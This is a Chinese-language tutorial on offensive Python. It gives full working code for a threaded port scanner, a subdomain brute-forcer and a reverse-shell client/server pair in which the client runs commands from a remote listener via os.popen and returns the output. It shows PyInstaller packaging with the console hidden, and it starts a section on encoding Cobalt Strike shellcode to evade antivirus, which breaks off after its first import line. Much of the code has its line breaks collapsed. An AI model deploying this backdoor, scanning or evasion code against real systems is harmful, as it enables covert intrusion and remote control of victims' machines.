主要内容：

python-Socket编程：主要对端口扫描、子域名扫描、客户端服务端通信等脚本简单实现，python打包工具pyinsaller使用，以及python代码执行shellcode-CS上线。

一、端口扫描(未开防火墙情况)

1、Python关键代码:

s = socket.socket()
s.connect((ip,port)) #判断端口是否开放，如果开放则能连接成功

2、完整代码：多线程配合Queue进行全端口扫描

import socket,sys,threading,queue#端口扫描
#获取扫描的IP和端口
#连接IP和端口(socket)
#判断连接状态-开放和关闭def port_scan(ip):while not q.empty():port=q.get()s=socket.socket()try:s.connect((ip,port))print(ip+":"+str(port)+':open')except Exception as e:pass#print(str(port)+':close')finally:s.close()if __name__ == '__main__':#自定义端口扫描#ports=input('please input scan ports(eg:135,80,445):')#ip=input('please input scan ip:')ip=sys.argv[1]   #接收IPth_nums = sys.argv[2]  #接收线程数#全端口扫描q=queue.Queue()for port in range(1,65536):q.put(port)for th_num in range(int(th_nums)):t = threading.Thread(target=port_scan,args=(ip,))t.start()

二、子域名扫描

1、Python关键代码:

ip = socket.gethostbyname(urls)   //判断域名是否存在，如果存在则能获取到ip

2、完整代码： 子域名扫描

import socket
#通过域名解析IP
#域名存在 IP就有 不存在就没有 报错
#dic.txt字典保存随机字符的组合，用于拼接URL进行扫描
def subDomain_scan(url):for u in open('dic.txt'):urls=(u+'.'+url).replace('\n','')#print(urls)try:ip=socket.gethostbyname(urls)print(urls+"|"+ip)except Exception as e:passif __name__ == '__main__':url=input('please input scan url:')subDomain_scan(url)

三、客户端，服务端Socket编程通信cmd命令执行

s=os.popen(cmdLine).read()     #python代码执行cmd命令
pyinstaller --onefile --noconsole your_script.py   #cmd命令：pyinstaller打包

1、客户端:

import socket,oshost = "127.0.0.1" 
port = 6665   
if __name__ == '__main__':client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)client.connect((host,port))while True:# cmdLine = input("please input cmdLine:")# client.send(cmdLine.encode('utf-8'))try:cmdLine = client.recv(4096).decode('utf-8')result = os.popen(cmdLine).read()client.send(result.encode('utf-8'))except Exception as e:pass

2、服务端：

import socket,osbind_ip = "0.0.0.0"
bind_port = 6665if __name__ == '__main__':server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)server.bind((bind_ip, bind_port))server.listen(5)while True:client,addr = server.accept()print(str(addr)+"上线了！")while True:cmdLine = input("please input cmdLine:")client.send(cmdLine.encode('utf-8'))result = client.recv(4096).decode('utf-8')print(str(addr) + "执行命令-----》" + cmdLine)print(result)# result = os.popen(cmdLine).read()# client.send(result.encode('utf-8'))

四、python代码shellCode编码免杀&后门上线

前提：

1、python版本与shellcodes生成位数一致
2、amd inter cpu型号要和python版本一致

1、CS生成shellcode 

2、python未编码:  二进制shellcode执行，CS上线代码

import ctypes#shellcode由CS生成
